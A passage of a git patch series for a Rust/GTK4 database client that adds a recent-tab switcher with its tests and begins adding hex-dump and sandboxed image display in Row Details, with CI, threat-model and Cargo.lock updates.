+
+    #[gtk4::test]
+    fn a_walk_records_only_the_tab_it_ends_on() {
+        let (shell, pages) = shell_with_tabs(&["users", "orders", "query"]);
+        show(&shell, &pages, &[0, 1, 2]);
+        let imp = shell.imp();
+        imp.recent_walk.replace(Some(super::RecentWalk {
+            order: shell.recent_pages().iter().map(ObjectExt::downgrade).collect(),
+            at: 0,
+        }));
+
+        for _ in 0..2 {
+            let next = imp
+                .recent_walk
+                .borrow_mut()
+                .as_mut()
+                .and_then(|walk| walk.step(&shell.tab_view()));
+            shell.tab_view().set_selected_page(&next.expect("a tab to go to"));
+            shell.note_shown_tab();
+        }
+        assert_eq!(selected(&shell), "users");
+        assert_eq!(titles(&shell.recent_pages()), ["query", "orders", "users"]);
+
+        shell.end_recent_walk(true);
+        assert_eq!(titles(&shell.recent_pages()), ["users", "query", "orders"]);
+    }
+
+    #[gtk4::test]
+    fn a_walk_skips_a_tab_closed_on_the_way_and_escape_returns_to_the_start() {
+        let (shell, pages) = shell_with_tabs(&["users", "orders", "query"]);
+        show(&shell, &pages, &[0, 1, 2]);
+        let imp = shell.imp();
+        imp.recent_walk.replace(Some(super::RecentWalk {
+            order: shell.recent_pages().iter().map(ObjectExt::downgrade).collect(),
+            at: 0,
+        }));
+        shell.tab_view().close_page(&pages[1]);
+
+        let next = imp
+            .recent_walk
+            .borrow_mut()
+            .as_mut()
+            .and_then(|walk| walk.step(&shell.tab_view()));
+        assert_eq!(next.as_ref(), Some(&pages[0]), "the walk went to a closed tab");
+        shell.tab_view().set_selected_page(&pages[0]);
+
+        shell.end_recent_walk(false);
+        assert_eq!(selected(&shell), "query");
+        assert_eq!(titles(&shell.recent_pages()), ["query", "users"]);
+    }
+
+    #[gtk4::test]
+    fn the_window_lets_go_of_the_walk_keys_with_the_shell() {
+        use crate::ui::SessionWindowInput;
+        use crate::ui::session_window::tests::TestWindow;
+        let test = TestWindow::connected("RecentWalkKeys");
+        let walk_keys = || {
+            let controllers = test.window.observe_controllers();
+            (0..controllers.n_items())
+                .filter_map(|at| controllers.item(at).and_downcast::<gtk4::EventController>())
+                .filter(|controller| controller.name().as_deref() == Some(super::WALK_KEYS))
+                .count()
+        };
+        assert_eq!(walk_keys(), 1);
+
+        test.window.send(SessionWindowInput::Disconnect);
+        test.wait_for_page("picker");
+
+        assert_eq!(walk_keys(), 0, "the picker kept the walk's keys");
+    }
+
+    /// These press real keys on the X display every test shares; nextest
+    /// runs them with no other test beside them.
+    mod real_keys {
+        use gtk4::gdk;
+        use gtk4::prelude::*;
+        use gtk4::subclass::prelude::*;
+        use libadwaita as adw;
+        use libadwaita::prelude::*;
+
+        use crate::test_support::{KeyInjector, wait_until};
+        use crate::ui::session_window::tests::{TestWindow, WAIT};
+        use crate::ui::workspace::WorkspaceShell;
+        use crate::ui::workspace::tests::{open_editor, shell_of};
+
+        struct Walking {
+            test: TestWindow,
+            shell: WorkspaceShell,
+            pages: Vec<adw::TabPage>,
+            keys: KeyInjector,
+        }
+
+        /// Three editor tabs, opened and so shown in order: the recent
+        /// order is the third, the second, the first.
+        fn walking(name: &str) -> Walking {
+            let test = TestWindow::connected(name);
+            let workspace = test.workspace();
+            let shell = shell_of(&workspace);
+            let pages: Vec<adw::TabPage> = (0..3).map(|_| open_editor(&workspace)).collect();
+            assert_eq!(
+                shell.recent_pages(),
+                [pages[2].clone(), pages[1].clone(), pages[0].clone()]
+            );
+            KeyInjector::focus_only(&test.window);
+            wait_until(WAIT, || test.window.is_active()).expect("the window to take the focus");
+            let keys = KeyInjector::connect().expect("an X11 display");
+            Walking {
+                test,
+                shell,
+                pages,
+                keys,
+            }
+        }
+
+        impl Walking {
+            fn selected(&self) -> Option<adw::TabPage> {
+                self.shell.tab_view().selected_page()
+            }
+
+            fn wait_for(&self, page: usize, what: &str) {
+                wait_until(WAIT, || self.selected().as_ref() == Some(&self.pages[page])).expect(what);
+            }
+
+            fn press_e(&self) {
+                self.keys
+                    .press(gdk::Key::e, gdk::ModifierType::empty())
+                    .expect("the key press");
+            }
+
+            fn is_walking(&self) -> bool {
+                self.shell.imp().recent_walk.borrow().is_some()
+            }
+        }
+
+        #[gtk4::test]
+        fn holding_ctrl_walks_back_and_letting_go_keeps_the_tab() {
+            let walk = walking("RecentWalkKeep");
+            {
+                let _ctrl = walk.keys.hold(gdk::Key::Control_L).expect("Ctrl held");
+                wait_until(WAIT, || super::super::control_held(&walk.test.window)).expect("GDK to see Ctrl down");
+                walk.press_e();
+                walk.wait_for(1, "Ctrl+E to show the tab shown before");
+                walk.press_e();
+                walk.wait_for(0, "E again to go one further back");
+                assert!(walk.is_walking(), "the walk ended with Ctrl still held");
+            }
+            wait_until(WAIT, || !walk.is_walking()).expect("letting go of Ctrl to end the walk");
+
+            assert_eq!(walk.selected().as_ref(), Some(&walk.pages[0]));
+            let order = [walk.pages[0].clone(), walk.pages[2].clone(), walk.pages[1].clone()];
+            assert_eq!(
+                walk.shell.recent_pages(),
+                order,
+                "the tabs passed on the way were recorded"
+            );
+
+            walk.keys
+                .press(gdk::Key::e, gdk::ModifierType::CONTROL_MASK)
+                .expect("the key press");
+            walk.wait_for(2, "a tap of Ctrl+E to go back to the tab before");
+        }
+
+        #[gtk4::test]
+        fn another_command_ends_the_walk_on_the_tab_it_reached() {
+            let walk = walking("RecentWalkCommand");
+            let workspace = walk.test.workspace();
+            {
+                let _ctrl = walk.keys.hold(gdk::Key::Control_L).expect("Ctrl held");
+                wait_until(WAIT, || super::super::control_held(&walk.test.window)).expect("GDK to see Ctrl down");
+                walk.press_e();
+                walk.wait_for(1, "Ctrl+E to show the tab shown before");
+                walk.keys
+                    .press(gdk::Key::t, gdk::ModifierType::empty())
+                    .expect("the key press");
+                wait_until(WAIT, || {
+                    workspace.imp().index.get().map_or(0, |index| index.pages().len()) == 4
+                })
+                .expect("Ctrl+T to open a tab");
+                assert!(!walk.is_walking(), "the walk went on past Ctrl+T");
+            }
+
+            let new = walk.selected().expect("the new tab in front");
+            assert!(!walk.pages.contains(&new));
+            let order = [new, walk.pages[1].clone(), walk.pages[2].clone(), walk.pages[0].clone()];
+            assert_eq!(
+                walk.shell.recent_pages(),
+                order,
+                "the tab the walk reached was not recorded"
+            );
+        }
+
+        #[gtk4::test]
+        fn letting_go_of_ctrl_in_a_dialog_ends_the_walk() {
+            let walk = walking("RecentWalkDialog");
+            let dialog = adw::AlertDialog::new(Some("Connection Lost"), None);
+            dialog.add_response("close", "Close");
+            {
+                let _ctrl = walk.keys.hold(gdk::Key::Control_L).expect("Ctrl held");
+                wait_until(WAIT, || super::super::control_held(&walk.test.window)).expect("GDK to see Ctrl down");
+                walk.press_e();
+                walk.wait_for(1, "Ctrl+E to show the tab shown before");
+                dialog.present(Some(&walk.test.window));
+                wait_until(WAIT, || {
+                    gtk4::prelude::RootExt::focus(&walk.test.window).is_some_and(|focus| focus.is_ancestor(&dialog))
+                })
+                .expect("the dialog to take the focus");
+            }
+            wait_until(WAIT, || !walk.is_walking()).expect("letting go of Ctrl in the dialog to end the walk");
+
+            let order = [walk.pages[1].clone(), walk.pages[2].clone(), walk.pages[0].clone()];
+            assert_eq!(walk.shell.recent_pages(), order);
+            dialog.close();
+        }
+
+        #[gtk4::test]
+        fn escape_ends_a_walk_on_the_tab_it_started_on() {
+            let walk = walking("RecentWalkEscape");
+            {
+                let _ctrl = walk.keys.hold(gdk::Key::Control_L).expect("Ctrl held");
+                wait_until(WAIT, || super::super::control_held(&walk.test.window)).expect("GDK to see Ctrl down");
+                walk.press_e();
+                walk.wait_for(1, "Ctrl+E to show the tab shown before");
+                walk.keys
+                    .press(gdk::Key::Escape, gdk::ModifierType::empty())
+                    .expect("the key press");
+                walk.wait_for(2, "Escape to go back to the start");
+                assert!(!walk.is_walking(), "Escape left the walk on");
+            }
+
+            let order = [walk.pages[2].clone(), walk.pages[1].clone(), walk.pages[0].clone()];
+            assert_eq!(walk.shell.recent_pages(), order);
+        }
+    }
+}
diff --git a/linux/crates/app/src/ui/workspace/tests/shell.rs b/linux/crates/app/src/ui/workspace/tests/shell.rs
index a266b853f8..8197dfbeb4 100644
--- a/linux/crates/app/src/ui/workspace/tests/shell.rs
+++ b/linux/crates/app/src/ui/workspace/tests/shell.rs
@@ -142,6 +142,33 @@ fn show_sidebar_action_toggles_split_view() {
     assert!(split.shows_sidebar());
 }
 
+#[gtk4::test]
+fn show_tabs_opens_and_closes_the_overview_while_a_tab_is_open() {
+    let test = TestWindow::connected("ShowTabs");
+    let workspace = test.workspace();
+    let shell = shell_of(&workspace);
+    let overview = shell.imp().tab_overview.get();
+    let enabled = |name: &str| {
+        test.window
+            .lookup_action(name)
+            .is_some_and(|action| action.is_enabled())
+    };
+    assert_eq!(shell.tab_view().n_pages(), 0);
+    assert!(!enabled("show-tabs"), "the overview warns and stays shut with no tab");
+    assert!(!enabled("switch-recent-tab"));
+
+    super::open_editor(&workspace);
+    assert!(enabled("show-tabs"));
+    assert!(!enabled("switch-recent-tab"), "one tab has no other to go to");
+    WidgetExt::activate_action(&test.window, "win.show-tabs", None).expect("win.show-tabs");
+    assert!(overview.is_open());
+    WidgetExt::activate_action(&test.window, "win.show-tabs", None).expect("win.show-tabs");
+    assert!(!overview.is_open());
+
+    super::open_editor(&workspace);
+    assert!(enabled("switch-recent-tab"));
+}
+
 #[gtk4::test]
 fn sidebar_toggle_visible_only_when_collapsed_or_hidden() {
     let test = TestWindow::connected("SidebarToggle");
diff --git a/linux/crates/app/src/ui/workspace/workspace_actions.rs b/linux/crates/app/src/ui/workspace/workspace_actions.rs
index d3809c32bf..5a724c5ea9 100644
--- a/linux/crates/app/src/ui/workspace/workspace_actions.rs
+++ b/linux/crates/app/src/ui/workspace/workspace_actions.rs
@@ -2,11 +2,12 @@
 //! them once and each one goes to the session in front, so a change of
 //! front changes where they go without taking any off the window. Their
 //! keys are application accelerators; a tab's own keys belong to the tab.
-//! Reopen Closed Tab is the shell's own: the tab closed last may be any
-//! session's.
+//! Reopen Closed Tab, Switch to Recent Tab and View Open Tabs are the
+//! shell's own: the tabs they name may be any session's.
 
 use gtk4::glib;
 use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
 use libadwaita as adw;
 
 use super::{WorkspaceInput, WorkspaceShell};
@@ -31,6 +32,8 @@ const ENTRIES: [(&str, ActionInput); 6] = [
 ];
 
 const REOPEN_CLOSED_TAB: &str = "reopen-closed-tab";
+const SWITCH_RECENT_TAB: &str = "switch-recent-tab";
+const SHOW_TABS: &str = "show-tabs";
 
 /// Add the actions to the window's own action map, which GTK exports as
 /// `win`. Each sends its input to the session in front when activated;
@@ -59,6 +62,34 @@ pub(super) fn install(window: &adw::ApplicationWindow, shell: &WorkspaceShell) {
             }
         })
         .build()]);
+    let switching = shell.downgrade();
+    window.add_action_entries([gio::ActionEntry::<adw::ApplicationWindow>::builder(SWITCH_RECENT_TAB)
+        .activate(move |_, _, _| {
+            if let Some(shell) = switching.upgrade() {
+                shell.switch_recent_tab();
+            }
+        })
+        .build()]);
+    let overview = shell.imp().tab_overview.downgrade();
+    window.add_action_entries([gio::ActionEntry::<adw::ApplicationWindow>::builder(SHOW_TABS)
+        .activate(move |_, _, _| {
+            if let Some(overview) = overview.upgrade() {
+                overview.set_open(!overview.is_open());
+            }
+        })
+        .build()]);
+    // The overview refuses to open or close with no tab, and with one tab
+    // Ctrl+E goes on to the tab.
+    for (name, least) in [(SWITCH_RECENT_TAB, 2), (SHOW_TABS, 1)] {
+        if let Some(action) = window.lookup_action(name) {
+            shell
+                .tab_view()
+                .bind_property("n-pages", &action, "enabled")
+                .transform_to(move |_, pages: i32| Some(pages >= least))
+                .sync_create()
+                .build();
+        }
+    }
     // Insensitive until the query database has opened or failed to.
     for name in HISTORY_ACTIONS {
         set_enabled(window, name, false);
@@ -71,6 +102,8 @@ pub(super) fn remove(window: &adw::ApplicationWindow) {
         window.remove_action(name);
     }
     window.remove_action(REOPEN_CLOSED_TAB);
+    window.remove_action(SWITCH_RECENT_TAB);
+    window.remove_action(SHOW_TABS);
 }
 
 fn set_enabled(window: &adw::ApplicationWindow, name: &str, enabled: bool) {
@@ -148,5 +181,7 @@ mod tests {
         remove(&window);
         assert!(window.lookup_action("new-editor-tab").is_none());
         assert!(window.lookup_action(REOPEN_CLOSED_TAB).is_none());
+        assert!(window.lookup_action(SWITCH_RECENT_TAB).is_none());
+        assert!(window.lookup_action(SHOW_TABS).is_none());
     }
 }
diff --git a/linux/crates/app/src/ui/workspace/workspace_shell.rs b/linux/crates/app/src/ui/workspace/workspace_shell.rs
index 2e42ffca70..c6d16a2802 100644
--- a/linux/crates/app/src/ui/workspace/workspace_shell.rs
+++ b/linux/crates/app/src/ui/workspace/workspace_shell.rs
@@ -105,6 +105,7 @@ impl WorkspaceShell {
         ));
         follow_sidebar(&imp.split_view, &imp.sidebar_toggle);
         window.add_action(&assistant_action(&shell));
+        imp.walk_hooks.replace(Some(shell.hook_recent_walk(window)));
 
         imp.tab_view
             .bind_property("n-pages", &imp.tab_stack.get(), "visible-child-name")
@@ -453,6 +454,7 @@ impl WorkspaceShell {
         let Some(page) = self.imp().tab_view.selected_page() else {
             return;
         };
+        self.note_shown_tab();
         if let Some((owner, _)) = self.owner_of(&page) {
             self.set_front(Some(&owner));
         }
@@ -630,6 +632,10 @@ impl WorkspaceShell {
             }
         }
         imp.closed_tabs.borrow_mut().clear();
+        imp.recent_walk.take();
+        if let Some(hooks) = imp.walk_hooks.take() {
+            hooks.release();
+        }
         if let Some(window) = imp.window.upgrade() {
             window.remove_action(SHOW_SIDEBAR);
             window.remove_action(SHOW_ASSISTANT);
diff --git a/linux/crates/app/src/ui/workspace/workspace_shell_imp.rs b/linux/crates/app/src/ui/workspace/workspace_shell_imp.rs
index fd19a093bc..b0759fce2d 100644
--- a/linux/crates/app/src/ui/workspace/workspace_shell_imp.rs
+++ b/linux/crates/app/src/ui/workspace/workspace_shell_imp.rs
@@ -115,6 +115,10 @@ pub struct WorkspaceShell {
     pub(super) menu_target: RefCell<Option<adw::TabPage>>,
     /// The tabs closed last, the newest at the back.
     pub(super) closed_tabs: RefCell<VecDeque<ClosedTab>>,
+    /// The tabs the window showed, the latest first.
+    pub(super) recent_tabs: RefCell<Vec<glib::WeakRef<adw::TabPage>>>,
+    pub(super) recent_walk: RefCell<Option<super::recent_tabs::RecentWalk>>,
+    pub(super) walk_hooks: RefCell<Option<super::recent_tabs::WalkHooks>>,
     /// Flips the window's history actions as the query database opens.
     pub(super) history_gate: RefCell<Option<glib::JoinHandle<()>>>,
     /// What follows the session in front, let go of at shutdown.
diff --git a/linux/data/resources/shortcuts-dialog.ui b/linux/data/resources/shortcuts-dialog.ui
index 63bef131a5..083348479f 100644
--- a/linux/data/resources/shortcuts-dialog.ui
+++ b/linux/data/resources/shortcuts-dialog.ui
@@ -86,6 +86,19 @@
             <property name="action-name">win.reopen-closed-tab</property>
           </object>
         </child>
+        <child>
+          <object class="AdwShortcutsItem" id="win-switch-recent-tab">
+            <property name="title" translatable="yes">Switch to Recent Tab</property>
+            <property name="subtitle" translatable="yes" comments="Ctrl and E are the keys of this shortcut.">Hold Ctrl and press E again to go further back</property>
+            <property name="action-name">win.switch-recent-tab</property>
+          </object>
+        </child>
+        <child>
+          <object class="AdwShortcutsItem" id="win-show-tabs">
+            <property name="title" translatable="yes">View Open Tabs</property>
+            <property name="action-name">win.show-tabs</property>
+          </object>
+        </child>
         <child>
           <object class="AdwShortcutsItem" id="tab-view-select-next">
             <property name="title" translatable="yes">Next Tab</property>
diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in
index ba56cfe121..5fab1859c7 100644
--- a/linux/po/POTFILES.in
+++ b/linux/po/POTFILES.in
@@ -554,6 +554,7 @@ crates/app/src/ui/workspace/imp.rs
 crates/app/src/ui/workspace/import.rs
 crates/app/src/ui/workspace/import_ledger.rs
 crates/app/src/ui/workspace/mod.rs
+crates/app/src/ui/workspace/recent_tabs.rs
 crates/app/src/ui/workspace/references.rs
 crates/app/src/ui/workspace/saves.rs
 crates/app/src/ui/workspace/session_watches.rs

From e33aed5465361f873495497d6ecd4c163c8e662b Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Fri, 30 Oct 2026 10:19:09 +0100
Subject: [PATCH 40/44] feat(linux-grid): show a binary value's bytes as a hex
 dump and an image as a picture in Row Details (#3882)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 .github/workflows/build-linux.yml             |   9 +-
 .github/workflows/release-linux.yml           |   2 +-
 .oss-scanner/Dockerfile                       |   3 +-
 .oss-scanner/threat_model.md                  |   2 +-
 linux/Cargo.lock                              | 361 +++++++-
 linux/Cargo.toml                              |   2 +
 linux/README.md                               |  18 +-
 linux/build-aux/debian/control                |   4 +
 linux/build-aux/debian/copyright              | 772 ++++++++++++++++-
 linux/build-aux/rpm/tablepro.spec             |   7 +
 linux/changelog.d/3882.added.md               |   1 +
 linux/crates/app/Cargo.toml                   |   1 +
 .../app/src/services/grid/display_text.rs     |  16 +-
 .../crates/app/src/services/grid/hex_dump.rs  |  93 +++
 linux/crates/app/src/services/grid/mod.rs     |   2 +
 .../app/src/ui/data_grid/row_detail/imp.rs    |   9 +
 .../app/src/ui/data_grid/row_detail/mod.rs    |   1 +
 .../src/ui/data_grid/row_detail/picture.rs    | 117 +++
 .../app/src/ui/data_grid/row_detail/tests.rs  | 132 +++
 .../ui/data_grid/row_detail/value_editor.rs   |  24 +-
 linux/data/licenses/THIRD-PARTY-NOTICE.md     | 785 ++++++++++++++++++
 linux/data/licenses/third-party.json          | 170 +++-
 linux/data/resources/ui/row-detail-pane.ui    |  12 +-
 .../decisions/0029-images-decode-in-glycin.md |  32 +
 linux/docs/decisions/README.md                |   1 +
 linux/meson.build                             |   3 +
 linux/po/POTFILES.in                          |   2 +
 27 files changed, 2527 insertions(+), 54 deletions(-)
 create mode 100644 linux/changelog.d/3882.added.md
 create mode 100644 linux/crates/app/src/services/grid/hex_dump.rs
 create mode 100644 linux/crates/app/src/ui/data_grid/row_detail/picture.rs
 create mode 100644 linux/docs/decisions/0029-images-decode-in-glycin.md

diff --git a/.github/workflows/build-linux.yml b/.github/workflows/build-linux.yml
index 19c94df8fd..77ded5c235 100644
--- a/.github/workflows/build-linux.yml
+++ b/.github/workflows/build-linux.yml
@@ -82,7 +82,7 @@ jobs:
         # install, then the meson toolchain, the -dev packages the
         # workspace links, the runtime pieces the test suites need (xvfb,
         # dbus, gnome-keyring for the Secret Service step, openssh-client
-        # for the SSH transport).
+        # for the SSH transport, glycin-loaders for a value's picture).
         run: |
           apt-get install -y --no-install-recommends \
             build-essential \
@@ -100,9 +100,12 @@ jobs:
             libgtksourceview-5-dev \
             libsqlite3-dev \
             libkrb5-dev \
+            liblcms2-dev \
+            libseccomp-dev \
             clang \
             libclang-dev \
             adwaita-icon-theme \
+            glycin-loaders \
             locales \
             gnome-keyring \
             openssh-client \
@@ -334,7 +337,7 @@ jobs:
             build-essential pkgconf meson ninja-build gettext \
             desktop-file-utils appstream libglib2.0-bin libglib2.0-dev libxml2-utils \
             libgtk-4-dev libadwaita-1-dev libgtksourceview-5-dev \
-            libsqlite3-dev libkrb5-dev clang libclang-dev cargo rustc
+            libsqlite3-dev libkrb5-dev liblcms2-dev libseccomp-dev clang libclang-dev cargo rustc
       - name: POTFILES.in is current
         run: |
           git ls-files 'crates/app/src/*.rs' 'data/resources/*.ui' 'data/*.desktop.in.in' \
@@ -626,6 +629,8 @@ jobs:
             libgtksourceview-5-dev \
             libsqlite3-dev \
             libkrb5-dev \
+            liblcms2-dev \
+            libseccomp-dev \
             clang \
             libclang-dev \
             xvfb \
diff --git a/.github/workflows/release-linux.yml b/.github/workflows/release-linux.yml
index 416e184d6f..83a6ed42d8 100644
--- a/.github/workflows/release-linux.yml
+++ b/.github/workflows/release-linux.yml
@@ -115,7 +115,7 @@ jobs:
             build-essential pkgconf meson ninja-build gettext \
             desktop-file-utils appstream libglib2.0-bin libglib2.0-dev libxml2-utils \
             libgtk-4-dev libadwaita-1-dev libgtksourceview-5-dev \
-            libsqlite3-dev libkrb5-dev clang libclang-dev cargo rustc
+            libsqlite3-dev libkrb5-dev liblcms2-dev libseccomp-dev clang libclang-dev cargo rustc
         working-directory: /
       - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
         with:
diff --git a/.oss-scanner/Dockerfile b/.oss-scanner/Dockerfile
index 88b83578d0..09a6864eef 100644
--- a/.oss-scanner/Dockerfile
+++ b/.oss-scanner/Dockerfile
@@ -12,7 +12,8 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
       ca-certificates curl git \
       build-essential pkgconf meson ninja-build gettext desktop-file-utils appstream libglib2.0-bin \
       libxml2-utils libgtk-4-dev libadwaita-1-dev libgtksourceview-5-dev libsqlite3-dev libkrb5-dev \
-      clang libclang-dev adwaita-icon-theme locales gnome-keyring openssh-client xvfb xauth dbus-daemon \
+      liblcms2-dev libseccomp-dev clang libclang-dev adwaita-icon-theme glycin-loaders locales gnome-keyring \
+      openssh-client xvfb xauth dbus-daemon \
     && rm -rf /var/lib/apt/lists/* \
     && localedef -i en_US -f UTF-8 en_US.UTF-8
 
diff --git a/.oss-scanner/threat_model.md b/.oss-scanner/threat_model.md
index 9e67d73ebe..4fe2a19276 100644
--- a/.oss-scanner/threat_model.md
+++ b/.oss-scanner/threat_model.md
@@ -32,7 +32,7 @@ The user is trusted: the SQL they type, the connections they create, the plugins
 7. Secrets: `apple/TablePro/Core/Storage/KeychainHelper.swift`, `apple/TablePro/Core/Sync/SyncRecordMapper.swift` (passwords must never reach CloudKit), `linux/crates/storage/src/secrets`, `TableProLogRedaction`, the MCP error redactor.
 8. SQL the app builds from data: `apple/TablePro/Core/ChangeTracking/SQLStatementGenerator.swift`, `apple/TablePro/Core/Database/FilterSQLGenerator.swift`, `SQLEscaping.swift`, `DialectQuoteHelper.swift`, each driver's `quoteIdentifier`; on Linux `linux/crates/core/src/dml`, `linux/crates/core/src/filter/validate_raw_predicate.rs` and each driver's `dialect.rs`. A crafted table or column name that escapes quoting runs SQL with the user's privileges.
 9. SSH and TLS: `apple/TablePro/Core/SSH/` (libssh2, host key prompts), `apple/Packages/TableProMacCore/Sources/TableProSSHConfig`, `linux/crates/ssh` (drives the system `ssh`, so watch for option injection from connection fields), `linux/crates/net/src/tls`.
-10. Rendering of cell values: the out-of-process image renderer (`apple/TablePro/CLI/ImageRenderMain.swift`), `apple/TablePro/Core/Services/Formatting/PhpSerializeParser.swift`, the MongoDB shell's JavaScriptCore runtime.
+10. Rendering of cell values: the out-of-process image renderer (`apple/TablePro/CLI/ImageRenderMain.swift`), the Linux Row Details picture, which glycin decodes in a sandbox (`linux/crates/app/src/ui/data_grid/row_detail/picture.rs`), `apple/TablePro/Core/Services/Formatting/PhpSerializeParser.swift`, the MongoDB shell's JavaScriptCore runtime.
 
 Matter least: layout, theming and localization code, `linux/crates/test-fixtures`, `linux/crates/test-support`, `apple/TableProUITests`, `scripts/`, `.github/`, docs.
 
diff --git a/linux/Cargo.lock b/linux/Cargo.lock
index bacb9da7e7..bfbb57eb5d 100644
--- a/linux/Cargo.lock
+++ b/linux/Cargo.lock
@@ -323,6 +323,18 @@ dependencies = [
  "pin-project-lite",
 ]
 
+[[package]]
+name = "async-channel"
+version = "2.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "924ed96dd52d1b75e9c1a3e6275715fd320f5f9439fb5a4a11fa51f4221158d2"
+dependencies = [
+ "concurrent-queue",
+ "event-listener-strategy",
+ "futures-core",
+ "pin-project-lite",
+]
+
 [[package]]
 name = "async-lock"
 version = "3.4.2"
@@ -367,6 +379,12 @@ dependencies = [
  "syn 2.0.119",
 ]
 
+[[package]]
+name = "async-task"
+version = "4.7.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de"
+
 [[package]]
 name = "async-trait"
 version = "0.1.92"
@@ -625,6 +643,19 @@ dependencies = [
  "generic-array",
 ]
 
+[[package]]
+name = "blocking"
+version = "1.7.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a70e4329df6cb94385eed412ec92375c3cdd8a6e502493d1229b6414e4036dfa"
+dependencies = [
+ "async-channel",
+ "async-task",
+ "futures-io",
+ "futures-lite",
+ "piper",
+]
+
 [[package]]
 name = "bnum"
 version = "0.13.0"
@@ -753,6 +784,12 @@ version = "3.20.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649"
 
+[[package]]
+name = "bytemuck"
+version = "1.25.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "95832e849adfb21180ccb6826a99da14e5d266ae5c2e668e1602cf234f153797"
+
 [[package]]
 name = "byteorder"
 version = "1.5.0"
@@ -984,6 +1021,15 @@ dependencies = [
  "unicode-width",
 ]
 
+[[package]]
+name = "concurrent-queue"
+version = "2.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973"
+dependencies = [
+ "crossbeam-utils",
+]
+
 [[package]]
 name = "connection-string"
 version = "0.2.0"
@@ -1126,6 +1172,16 @@ dependencies = [
  "crossbeam-utils",
 ]
 
+[[package]]
+name = "crossbeam-deque"
+version = "0.8.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "622f3fc73690be383c7214310406f28a90e6edeadc3cea882f9d71e495b9711a"
+dependencies = [
+ "crossbeam-epoch",
+ "crossbeam-utils",
+]
+
 [[package]]
 name = "crossbeam-epoch"
 version = "0.9.21"
@@ -1505,6 +1561,15 @@ dependencies = [
  "syn 3.0.5",
 ]
 
+[[package]]
+name = "dlib"
+version = "0.5.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ab8ecd87370524b461f8557c119c405552c396ed91fc0a8eec68679eab26f94a"
+dependencies = [
+ "libloading",
+]
+
 [[package]]
 name = "docker_credential"
 version = "1.4.0"
@@ -1602,6 +1667,27 @@ dependencies = [
  "syn 2.0.119",
 ]
 
+[[package]]
+name = "env_filter"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "900d271a03799a1ee8d1ca9b19893b48ca674a9284fefcfb85f05e74ed314217"
+dependencies = [
+ "log",
+ "regex",
+]
+
+[[package]]
+name = "env_logger"
+version = "0.11.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "de671bd27a75a797dc9ae289ba1e77276e75e2026408aab65185384e2d5cd3f6"
+dependencies = [
+ "env_filter",
+ "jiff",
+ "log",
+]
+
 [[package]]
 name = "equivalent"
 version = "1.0.2"
@@ -1770,6 +1856,33 @@ version = "0.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb"
 
+[[package]]
+name = "foreign-types"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965"
+dependencies = [
+ "foreign-types-macros",
+ "foreign-types-shared",
+]
+
+[[package]]
+name = "foreign-types-macros"
+version = "0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ea5190182e6915eb873ddbc16e23b711b6eb1f9c00a0d0a3a91b5f6228475225"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 3.0.5",
+]
+
+[[package]]
+name = "foreign-types-shared"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b"
+
 [[package]]
 name = "form_urlencoded"
 version = "1.2.2"
@@ -2164,6 +2277,84 @@ version = "0.3.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e4eba85ea1d0a966a983acd07deee566e67395d2d96b6fb39e62b5a833f1eb0b"
 
+[[package]]
+name = "glycin"
+version = "3.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "923674c1f2b1a28f69ebdc0f572672e63874e17ce0e60c96b8bfaff47a8ef4e9"
+dependencies = [
+ "futures-channel",
+ "futures-util",
+ "gdk4",
+ "gio",
+ "glib",
+ "glycin-common",
+ "glycin-utils",
+ "gufo-common",
+ "gufo-exif",
+ "lcms2",
+ "lcms2-sys",
+ "libc",
+ "libseccomp",
+ "memfd",
+ "memmap2",
+ "nix 0.30.1",
+ "static_assertions",
+ "thiserror",
+ "tokio",
+ "tokio-stream",
+ "tracing",
+ "yeslogic-fontconfig-sys",
+ "zbus",
+]
+
+[[package]]
+name = "glycin-common"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "db28cec888051ccbf68f9f352d57ba2a292179863524a0769e54dbb72d152a03"
+dependencies = [
+ "bitflags 2.13.2",
+ "gufo-common",
+ "half",
+ "memmap2",
+ "nix 0.30.1",
+ "paste",
+ "rmp-serde",
+ "serde",
+ "thiserror",
+ "zerocopy",
+ "zvariant",
+]
+
+[[package]]
+name = "glycin-utils"
+version = "4.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b49cd2451bced7416341a5e89d74f547e92b85b67e8f66c8723a7505930a50ab"
+dependencies = [
+ "async-lock",
+ "bitflags 2.13.2",
+ "blocking",
+ "env_logger",
+ "futures-util",
+ "glycin-common",
+ "gufo-common",
